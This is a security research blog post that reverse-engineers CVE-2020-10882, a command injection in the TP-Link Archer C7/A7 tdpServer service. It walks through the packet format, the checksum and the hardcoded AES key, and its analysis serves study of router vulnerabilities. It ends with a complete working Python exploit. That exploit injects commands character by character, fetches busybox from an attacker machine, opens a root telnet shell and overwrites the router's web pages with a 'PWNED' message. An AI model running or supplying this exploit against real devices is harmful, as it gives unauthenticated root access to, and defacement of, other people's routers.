This post provides detailed analysis and an exploit achieving remote code execution for CVE-2020-10882, which was used at Pwn2Own 2019, on the TP-Link Archer C7:

This vulnerability allows network-adjacent attackers to execute arbitrary code on affected installations of TP-Link Archer A7 AC1750 routers. Authentication is not required to exploit this vulnerability.

The specific flaw exists within the tdpServer service, which listens on UDP port 20002 by default. When parsing the slave_mac parameter, the process does not properly validate a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of the root user.

Environment Setup

Here, the debugging and most analysis are done in the router’s environment itself. There are instructions and writeups on how one can get the interactive shell from the router via USB-TTL device which would not be covered here. OpenWRT has helpful guides here and here that shows how to do that.

For code analysis, bindiffing approach was used to locate the vulnerable function. The vulnerable firmware and the patched version can be downloaded below:

Patched version : Archer A7(US)_V5_200220
Previous version : Archer C7(US)_V5_190726

Note that Archer C7 and A7 models share most of the binaries, so technically it does not matter if we are looking at the C7 or A7 firmware image.

BinDiffing

The first thing that I did was to extract the MIPS (Big Endian) binaries from the firmware and load them into Ghidra. As i didn’t have much experiences on bindiffing on Ghidra, I followed the instructions on the BinDiffHelper project. Additionally, download and install bindiff6.

After using Ghidra and Bindiff, there were a few functions of very low similarity.

Tracing those addresses, I found that some are actually addresses of strings. However, only this FUN_00414D14 seems to be a function that points to a function. So perhaps, this might be the function that was vulnerable.

Static Analysis

Here, I will show why this function seems to be the jackpot that we are looking for. Firstly, let’s refer to the CVE report description on the ZDI site (emphasis added):

The specific flaw exists within the tdpServer service, which listens on UDP port 20002 by default. When parsing the slave_mac parameter, the process does not properly validate a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of the root user.

From the description, we see a variable slave_mac being detailed in it. That seems to be the parameter that should be controlled. In the decompilation, I realised also that there are many verbose messages being dumped when this binary is being run. Could we do a simple string search?

Good ol Strings

Searching for slave_mac, there were a few results:

Clicking on the first search result, there are multiple places that contains the string slave_mac. This would help when we are deubgging the conditions around this slave_mac value.

Here we see there is also a reference to function FUN_00414d14. This means that this is one place where we can be interested in. For the other functions, Bindiff sees that there are most likely no differences in them.

Also there is the string "tdpUciInterface.c:644","About to get slave mac %s info" which is great to know that most likely this function is where the slave_mac is about to be obtained before parsing. This string has only one reference and that is the address 0x40e7e4. Here according to Bindiff, there is most likely no changes or differences.

The third string Failed tdp_onemesh_slave_mac_info! is found in the same function as the first string slave_mac in FUN_00414d14.

For the last string slave_mac_info, I am not able to find the reference to any function.

Finding the system() Call

According to the CVE description, it mentions about system calls. To clarify, this likely means a call to the system() function and not direct system calls to the kernel. The plan now is to look for these function calls with parameters that attackers can potentially control.

Fortunately, there is one that looks promising. Under functions, we see that there are a number of callers. Specifically, there are at least 3 system calls in FUN_00414d14 which makes this function really interesting.

According to Bindiff, only 0x411790 and 0x414d14 has some changes to it. However, in function 0x411790, we are not able to control it so that should not be the sink that we are looking for.

This means that we have narrowed it down to function 0x414d14. Of all the three system functions located, there is one that is interesting where the parameter to system() is not hardcoded:

snprintf(interesting_acStack7432,0x1ff,
  "lua -e \'require(\"luci.controller.admin.onenmesh\").sync_wifi_specified({mac=\"%s\"})\'"
  , to_be_controlled_acStack4248);

Exploitation

In that vulnerable function, the parameter can be controlled via the slave_mac value and there are little to no checks in the router when parsing it from the JSON payload. This means that if we can craft a valid payload, we can eventually control what will be passed to system().

We can move on to the following after our analysis:

  1. Setup GDB server for MIPS Big Endian
  2. Test connection to tdpServer
  3. Payload Crafting
  4. Full Exploit

Setup GDB server

After getting an interactive shell from the router, it is possible to setup a HTTP server on your machine to transfer gdbserver.mipsbe to the router so that we can debug from our machine.

To set up the gdbserver, use the following commands on the target router:

$ wget http://<machine-ip>/gdbserver.mipsbe
$ chmod +x gdbserver.mipsbe
$ ./gdbserver.mipsbe 0.0.0.0:8908 /usr/bin/tdpServer

This would cause the router to listen on this port that we want to debug on.

Now, on your machine, we have to make sure that we have gdb-multiarch installed and also set the architecture to “mips” and set the endianess to big:

gdb-multiarch
...
...
gef➤  set arch mips
The target architecture is assumed to be mips
gef➤  set endian big

Now that we can debug, we will want to now test the connection to the tdpServer.

Test Connection to tdpServer

Make sure that the router’s operation mode in the admin portal is set to “Router”. To connect to the tdpServer, we can send packets via UDP.

We can thus write a Python script to send data via UDP at port 20002:

import socket
IP="192.168.0.254"
PORT=20002
addr = (IP,PORT)
s = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)

s.sendto(b'0x01'*16,(IP,PORT))

After sending we can see that it registers the sn and the checksum to be 0x01010101 which means that it is possible to send packets to the router via UDP into port 20002. The output is from the running process which means it is really verbose and had helped tons when debugging.

We can see how that happens after reversing the tdp packet structure later on.

TDP Packet Format

For this, reversing the decompiled code is crucial to understanding the format of the packet with the payloads and how it is being processed. There are some checks that are being carried out.

For starters, the payload consists of a 16 byte packet header followed by a maximum of 0x410 JSON payload that is being sent by a slave device.

The first byte of the packet indicated the tdp version. For this firmware, having version 1 is the packet that can be accepted. It would also check the length of the packet that it should be of max length of 0x410 including its header and no less than 16 since its entire header is 16 bytes long.

Once those checks are done, the packet’s checksum would be calculated to check against the checksum that is in the packet’s header. If the checksum is correct, the payload would need to be decrypted with the IV and DecryptKey with AES_DECRYPT in CBC mode.

Apparently, the 256 bits IV [1234567890abcdef1234567890abcdef] and DecryptKey [TPONEMESH_Kf!xn?gj6pMAt-wBNV_TDP] were truncated to 128 bits so they are just 1234567890abcdef and TPONEMESH_Kf!xn? respectively.

The encryption can be done with this Python snippet:

from Crypto.Cipher import AES

decryptKey = "TPONEMESH_Kf!xn?"
ivec = "1234567890abcdef"

BLOCKSIZE = 16
pad = lambda s: s + (BLOCKSIZE - len(s) % BLOCKSIZE) * chr(BLOCKSIZE - len(s) % BLOCKSIZE)
unpad = lambda s : s[:-ord(s[len(s)-1:])]

def AESEncrypt(payload):
    payload = pad(payload)
    cipher = AES.new(decryptKey[:16],AES.MODE_CBC,ivec[0:16])
    encText = cipher.encrypt(payload)
    return encText

The decrypted payload would then be be parsed. These are the fields that the parser is looking out for:

  • method
  • data
  • onemesh.onemesh.group_id
  • ip
  • slave_mac
  • slave_private_account
  • slave_private_password
  • want_to_join
  • model
  • product_type
  • operation_mode

Also, here is where the slave_mac field can be found which is also what we need to control.

Packet Under The Microscope

To do just that, these breakpoints are being set to help in my debugging to show the different checkpoints during the analysis.

set arch mips
set endian big
target remote 192.168.0.254:8899
b*0x0040cfe0  
b*0x0040c9d0   # checksum check
b*0x0040d04c   # prints if length is ok
b*0x0040d160   # Hits here when over maxlength 
               # and before checksum
b*0x0040d0fc   # checksum FAILED
b*0x0040d060   # checksum PASSED !!
b*0x0040ca24   # This is when it is to check the current checksum in the packet sent
b*0x0040ca5c   # This is the comparison between current checksum and the calculated checksum

We can use these references to check if we are on the path to the targeted function.

Now just by sending out the data, we see that if the length of the data sent is within a valid range, it would check for the checksum which is located in the function 0x0040c9d0.

Here we would want to reverse that to see what it actually does.

iVar4 = cmp_new_and_old_checksum_FUN_0040c9d0(recv_buffer,iVar4); 

In this cmp_new_and_old_checksum_FUN_0040c9d0 function, it would calculate the checksum and compare that against the current checksum.

undefined4 cmp_new_and_old_checksum_FUN_0040c9d0(byte *recvBuffer,int packetLen)

{
  byte sn;
  int temp;
  uint newCheckSum;
  char *errorLoc;
  char *errorMsg;
  uint currChecksum;
  
  if ((recvBuffer != (byte *)0x0) && (temp = hex_0x410_FUN_0040d608(), packetLen <= temp)) // checks for length range
  {
    temp = check_if_first_byte_is_one_FUN_0040d644((uint)*recvBuffer);
    if (temp == 0) { // First byte cannot be 0 else version error
      currChecksum = (uint)*recvBuffer;
      errorLoc = "tdpdServer.c:591";
      errorMsg = "TDP version=%x";
    }
    else {
      currChecksum = *(uint *)(recvBuffer + 0xc); // structure field checksum
      *(undefined4 *)(recvBuffer + 0xc) = 0x5a6b7c8d; // replace with magic checksum
      newCheckSum = calculate_new_checksum_FUN_004037f0(recvBuffer,packetLen);
      MessagePrint("tdpdServer.c:599","TDP curCheckSum=%x; newCheckSum=%x",currChecksum,newCheckSum)
      ;// super useful debug message
      if (currChecksum == newCheckSum) {
        *(uint *)(recvBuffer + 0xc) = currChecksum;
        if ((uint)*(ushort *)(recvBuffer + 4) + 0x10 == packetLen) {
          sn = recvBuffer[1];
          if ((sn == 0) || (sn == 0xf0)) {
            MessagePrint("tdpdServer.c:643","TDP sn=%x",*(undefined4 *)(recvBuffer + 8));
            return 0;
          }
          errorLoc = "tdpdServer.c:634";
          errorMsg = "TDP error reserved=%x";
          currChecksum = (uint)sn;
        }
        else {
          errorLoc = "tdpdServer.c:611";
          errorMsg = "TDP pkt has no payload. payloadlength=%x";
          currChecksum = (uint)*(ushort *)(recvBuffer + 4);
        }
      }
      else {
        errorLoc = "tdpdServer.c:602";
        errorMsg = "TDP error checksum=%x";
      }
    }
    MessagePrint(errorLoc,errorMsg,currChecksum);
  }
  return 0xffffffff;
}

Here the length of packet is checked again to make sure that it is within a valid range. After that, it would check that the buffer is not null. Once that is confirmed, it will check if the first byte is of byte one. Turns out, there are different versions of tdpServer and that this one only supports packet data with the value 0x1 in the first byte.

The router would store the checksum given by the packet (oldChecksum) before replacing the checksum field in the packet with a constant value 0x5a6b7c8d. A checksum is then calculated based on the recvbuffer by the function calculate_new_checksum_FUN_004037f0 to give an updated checksum. A check for the oldChecksum and updated checksum is then compared. If they are not the same then it fails and the loop to listen for more information is then continued. If the checksums are the same then the checksum is then replaced into the data structure as well. The size of the packet is then revalidated again to prevent overflow of any sort. Finally, the payload gets decrypted and the JSON payload is then parsed.

Note that a value is also taken at index 1 (recvBuffer[1]) and it gets checked if it is 0 or 0xF0. For this exploit, it has to be 0xF0 so that it is able to enter into a switch case where the flag is being checked. It can also be seen that the vulnerable code is within a switch case statement. To hit that, we need the switch case to be 7 to get case 6.

Here’s the relevant portion of the function:

  if ((recv_buffer->zeroOrFZero == 0xf0) /* NEEDS TO BE 0xF0 */ && (DAT_0042f0f0 == '\x01')) {
    if ((recv_buffer != (tdpPacketStruct *)0x0) &&
       (((memsettedBuffer != 0 && (param_4 != (int *)0x0)) &&
        (packetLen = FUN_0040e074(local_c8,numOfBytes), packetLen == 0)))) {
      MessagePrint("tdpdServer.c:883","recv ip is %x, my ip is %x",param_5,local_c8[0]);
      if (param_5 == local_c8[0]) {
        MessagePrint("tdpdServer.c:886","Ignore onemesh tdp packet to myself...");
      }
      else {
        MessagePrint("tdpdServer.c:890","opcode %x, flags %x",(uint)recv_buffer->opcode,
                     (uint)recv_buffer->flag);
        switch((uint)recv_buffer->opcode - 1 & 0xffff) {

        ...

        case 6: //switch((uint)recv_buffer->opcode - 1 & 0xffff) so 6 + 1 = 7
          if ((recv_buffer->flag & 1) == 0) {
            pcVar6 = "tdpdServer.c:958";
            pcVar7 = "Invalid flags";
          }
          else {
            packetLen = target_function_FUN_00414d14 		(recv_buffer,numOfBytes,memsettedBuffer,param_4,param_5);
            if (-1 < packetLen) {
              return 0;
            }
            pcVar6 = "tdpdServer.c:952";
            pcVar7 = "error processing slave_key_offer request...";
          }

With the help of useful debug messages, we find that the packet header contains the following structure :

struct tdpPacket {
    char tdpVersion;   // calc_checksum_FUN_0040c9d0
    char zeroOrFZero;  // 0xf0 is needed to get to targetted vuln function //function_accepting_packet_to_target_function_0040cfe0
    unsigned short packetLength; // checks_max_length_FUN_0040d620
    byte flag; //function_accepting_packet_to_target_function_0040cfe0
    char unknown;
    unsigned int sn;		   // calc_checksum_FUN_0040c9d0; Sounds like serial number 
    unsigned int magicOrChecksum;		   // calc_checksum_FUN_0040c9d0; Hardcoded value 0x5a6b7c8d for calculation before being replaced by new calculated checksum
    char data[0x400]; // JSON DATA

Calculating The Checksum

Let’s take a look at this algorithm that was used to calculate the checksum that was decompiled. The checksum will calculate based on the entire packet. Its headers along with its content. All those bytes would be xor’d against a table and done with some extra arithmetic.

uint calculate_new_checksum_FUN_004037f0(byte *recvBuffer,int packetLen)

{
  byte curr_packet_byte;
  uint result;
  byte *pbVar1;
  
  result = 0;
  if ((recvBuffer != (byte *)0x0) && (packetLen != 0)) {
    pbVar1 = recvBuffer + packetLen;
    result = 0xffffffff;
    while (recvBuffer < pbVar1) {
      curr_packet_byte = *recvBuffer;
      recvBuffer = recvBuffer + 1;
      // byte_data_DAT_00416e90 has 0x400 bytes of data 
      result = *(uint *)(&byte_data_DAT_00416e90 + ((curr_packet_byte ^ result) & 0xff) * 4) ^
               result >> 8;
    }
    result = ~result;
  }
  return result;
}

Since it is quite short, a quick & dirty way is to translate it into Python:

checksumTable = [0x00,0x00,0x00,0x00,0x77,0x07,0x30,0x96,0xee,0x0e,.........,0xef,0x8d]

def calcChecksum(packet):
    result = 0xffffffff
    for i in range(len(packet)):
        currChar = packet[i]
        temp1 = ((ord(currChar)^result)&0xff) * 4 
        temp2 = ((checksumTable[temp1])&0xff)<<24
        temp2 |= ((checksumTable[temp1+1])&0xff)<<16
        temp2 |= ((checksumTable[temp1+2])&0xff)<< 8
        temp2 |= ((checksumTable[temp1+3])&0xff)
        temp3  = result>>8
        result = temp2^temp3
    result = result ^ 0xffffffff
    print("==>  Calculated checksum : " + hex(result))
    return result

We later realised that it was actually a CRC-32 algorithm so now it is even easier to calculate the checksum.

def calcChecksum(packet):
    result = zlib.crc32(packet.encode())
    print("==>  Calculated checksum : " + hex(result))
    return result

Crafting The Packet

This is a test script which encrypts and send some data in a packet.

def craftPacket():
    # this should return a crafted packet based on the reversed tdpPacket

    testEnc = "AAAABBBB"
    ct = AESEncrypt(testEnc)
    print("LENGTH : " + str(len(ct)))
    packet = "\x01"
    packet += "\xf0" # This is needed to get into same branch as the vuln
    packet += "\x00\x07" # to get into the switch case 6 bute the choice is x - 1 so we need 7 to get 6 for the vulnerability
    packet += "\x00\x10"# 16 since each block size is 16 
    packet += "\x01" # this is the flag and as long as it is not zero, we will pass a check 
    packet += "\x00" # Just put in some unknown data
    packet += "\xde\xad\xbe\xef" # this is the serial number. Doesnt seem to impact the flow so any is possible
    packet += calcChecksum(packet)
    packet += ct  # the encrypted cipher text
    return packet

Adding that to the end of the packet and sending it, we get a verbose log message confirming our encrypted payload has been successfully parsed:

DEBUG(tdpdServer.c:719)====>tdp pkt length is 32
DEBUG(tdpdServer.c:599)====>TDP curCheckSum=750273b; newCheckSum=750273b
DEBUG(tdpdServer.c:643)====>TDP sn=deadbeef
DEBUG(tdpUciInterface.c:441)====>lanip is 192.168.0.254
DEBUG(tdpUciInterface.c:442)====>lanmask is 255.255.255.0
DEBUG(tdpdServer.c:883)====>recv ip is c0a8007d, my ip is c0a800fe
DEBUG(tdpdServer.c:890)====>opcode 7, flags 1
tpapp_aes_decrypt() 226:decrypt key is TPONEMESH_Kf!xn?gj6pMAt-wBNV_TDP 
aes_dec() 197: inlen 16, strlen(in) 16 
0x6d 0x8d 0xf6 0xed 0xb7 0x90 0x2e 0x2f 0x88 0xc7 0x42 0x32 0x7a 0x8b 0x2e 0x88 aes_dec() 203: data end 
DEBUG(tdpOneMesh.c:2899)====>plainLen is 16, plainText is AAAABBBB
DEBUG(tdpOneMesh.c:2915)====>Enter..., rcvPkt->payload is AAAABBBB

Now we can decide on the message that we want to encrypt. Using those fields, I have the rough template.

{"method":"slave_key_offer","data":{"group_id":"8735fc23-b166-4f27-9acc-ec7cb15b98fb","ip":"192.168.0.125","slave_mac":"CONTROL THIS", "slave_private_account":"DEADBEEF", "slave_private_password":"CAFEBABE", "want_to_join":false, "model":"Archer C7","operation_mode":"Superman","product_type":"spiderman",}}

Next the JSON message with those fields would look a little like this

def injectCommand(c):
    payload = '{"method":"slave_key_offer","data":{"group_id":"8735fc23-b166-4f27-9acc-ec7cb15b98fc","ip":"192.168.0.125","slave_mac":"XXXXXXXXXXXXXXXXXXXXXX", "slave_private_account":"DEADBEEF", "slave_private_password":"CAFEBABE", "want_to_join":false, "model":"Archer C7","operation_mode":"Superman","product_type":"spiderman"}}'
    payload = payload.split("XXXXXXXXXXXXXXXXXXXXXX")[0] + "';printf '" + c + "'>>p;'" + payload.split("XXXXXXXXXXXXXXXXXXXXXX")[1]
    return payload

Command Injection

Here the slave_mac field is used to print one character into a file p. There is a limit of 17 characters that we can place in this field. The way the command injection works here is as follows.

lua -e 'require("luci.controller.admin.onemesh").sync_wifi_specified({mac="<SLAVE_MAC>"})'

For the command injection to work, we need to terminate the Lua code string with single quotes. Two semicolon is then used to separate the commands like this.

lua -e 'require("luci.controller.admin.onemesh").sync_wifi_specified({mac=" ';INJECT HERE;' "})'

Here we have already used 4 characters resulting with 13 left. The strategy used here is to append one character into a file, then send multiple packets to construct a complete script before executing the resulting file. We can do that with a shell command like printf and redirect it to a single character filename:

# printf 'x'>p is just 12 bytes so it is within reach
lua -e 'require("luci.controller.admin.onemesh").sync_wifi_specified({mac=" ';printf 'x'>p;' "})'

After setting it up in JSON format, it is time to encrypt with AES with the hardcoded IV and key.

Now append it to the payload header and update the length in the header as well. The checksum will be calculated with a stand-in magic value before replacing it with the newly calculated checksum.

packet+= AESEncrypt(payload)
temp = packet[:4]
temp += p16(len(pad(payload)) , endian="big") # update the length of the padded payload
packet = temp + packet[6:]
calculatedChecksum = calcChecksum(packet)
result = packet[:12]
result += p32(calculatedChecksum , endian="big") # replaces the magic checksum with the calculated checksum
result += packet[16:]

Now all we need to do is to submit this and we should see a new file in the root directory called p.

Full Exploit

To do a fuller exploit with a reverse shell, we can download busybox from our machine and use telnetd for a reverse shell by writing wget commands one character at a time into a file and running it.

from pwn import *
import socket
import time
from Crypto.Cipher import AES
import zlib

ATTACKERIP = "192.168.0.125"
ATTACKPORT = "8090"
fileName = "m"

COMMAND = "wget http://"+ATTACKERIP+":8000/busybox-mips -P /tmp;chmod +x /tmp/busybox-mips;/tmp/busybox-mips telnetd -l /bin/sh -p "+ATTACKPORT + " " + ATTACKERIP + ";wget http://" +ATTACKERIP+":8000/index.jpg -P /www;"

print("COMMAND : " + COMMAND)
decryptKey = "TPONEMESH_Kf!xn?gj6pMAt-wBNV_TDP"
ivec = "1234567890abcdef1234567890abcdef"

"""
decryptKey = "TPONEMESH_Kf!xn?"
ivec = "1234567890abcdef"
"""
BLOCKSIZE = 16
pad = lambda s: s + (BLOCKSIZE - len(s) % BLOCKSIZE) * chr(BLOCKSIZE - len(s) % BLOCKSIZE)
unpad = lambda s : s[:-ord(s[len(s)-1:])]

def AESEncrypt(payload):
    
    # the key looks like 256 bits long
    #>>> len("TPONEMESH_Kf!xn?gj6pMAt-wBNV_TDP")*8
    #256
    payload = pad(payload)
    #print("To encrypt : ")
    #print(len(payload))
    cipher = AES.new(decryptKey[:16],AES.MODE_CBC,ivec[0:16])
    #print("ENCRYPTED payload with iv " + ivec + ":  " )
    encText = cipher.encrypt(payload)
    return encText
    
def calcChecksum(packet):
    result = zlib.crc32(packet.encode())
    print("==>  Calculated checksum : " + hex(result))
    return result

def injectCommand(c):
    payload = '{"method":"slave_key_offer","data":{"group_id":"8735fc23-b166-4f27-9acc-ec7cb15b98fc","ip":"192.168.0.125","slave_mac":"XXXXXXXXXXXXXXXXXXXXXX", "slave_private_account":"DEADBEEF", "slave_private_password":"CAFEBABE", "want_to_join":false, "model":"Archer C7","operation_mode":"Superman","product_type":"spiderman"}}'
    payload = payload.split("XXXXXXXXXXXXXXXXXXXXXX")[0] + "';printf '" + c + "'>>" + fileName +  ";'" + payload.split("XXXXXXXXXXXXXXXXXXXXXX")[1]
    return payload

def injectCommandString(s):
    payload = '{"method":"slave_key_offer","data":{"group_id":"8735fc23-b166-4f27-9acc-ec7cb15b98fc","ip":"192.168.0.125","slave_mac":"XXXXXXXXXXXXXXXXXXXXXX", "slave_private_account":"DEADBEEF", "slave_private_password":"CAFEBABE", "want_to_join":false, "model":"Archer C7","operation_mode":"Superman","product_type":"spiderman"}}'
    payload = payload.split("XXXXXXXXXXXXXXXXXXXXXX")[0] + "';"+ s + ";'" + payload.split("XXXXXXXXXXXXXXXXXXXXXX")[1]
    return payload

def craftPacket(i,execute=False):
    packet = "\x01"
    packet += "\xf0" # This is needed to get into same branch as the vuln
    packet += "\x00\x07" # to get into the switch case 6 bute the choice is x - 1 so we need 7 to get 6 for the vulnerability ; Trying out big endian first TODO: need to check on the debugger that it is big endian
    packet += "\x01\x50"# Try with packet length = 0x11
    packet += "\x01" # this is the flag and as long as it is not zero, we will pass a check
    packet += "\x00" # Just put in some unknown data
    packet += "\xde\xad\xbe\xef" # this is the serial number. Doesnt seem to impact the flow so any is possible
    packet += p32(0x5a6b7c8d, endian="big")# This is the magic checksum

    payload = ""
    if execute == False:
        payload= injectCommand(i)
    elif execute == True:
        print("OKKKKKK")
        payload = injectCommandString('sh ' + fileName)
    #print("PAYLOAD: " + payload)
    packet+= AESEncrypt(payload)
    temp = packet[:4]
    temp += p16(len(pad(payload)) , endian="big") # update the length of the padded payload
    packet = temp + packet[6:]
    calculatedChecksum = calcChecksum(packet)
    result = packet[:12]
    
    result += p32(calculatedChecksum , endian="big") # replaces the magic checksum with the calculated checksum
    result += packet[16:]
    
    return result


def main():

    DEBUG = False
    countpause = 0 
    IP="192.168.0.254"
    PORT=20002
    addr = (IP,PORT)
    s = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
    counter  =  0
    if not DEBUG:
        for i in COMMAND:
            packet = craftPacket(i)
            #print("PACKET : " + packet) 
            if countpause %15 == 0 and countpause != 0:
                time.sleep(8)
            countpause += 1
            s.sendto(packet,addr)
            counter += 1
            print(str(counter) + "/" + str(len(COMMAND))) 
    executePayload = craftPacket("",execute=True)
    s.sendto(executePayload,addr)
    s.close()
    time.sleep(8)
    print("Enjoy your shell ~ ") 
    p =  remote("192.168.0.254", ATTACKPORT)
    print p.recvrepeat(0.5)
    p.sendline('echo -e "<!DOCTYPE html><head>YOU\'ve BEEN PWNED</head><body><h3>Hey there, your router is insecure. Please do yourself a favor to remember to upgrade your firmware version at least.</h3><br><br><br><br><img src=\"./index.jpg\" alt=\"GG\"></body></html>">/www/webpages/login.html')
    print p.recvrepeat(0.5)
    p.sendline('echo -e "<!DOCTYPE html><head>YOU\'ve BEEN PWNED</head><body><h3>Hey there, your router is insecure. Please do yourself a favor to remember to upgrade your firmware version at least.</h3><br><br><br><br><img src=\"./index.jpg\" alt=\"GG\"></body></html>">/www/index.html')
    p.interactive()

main()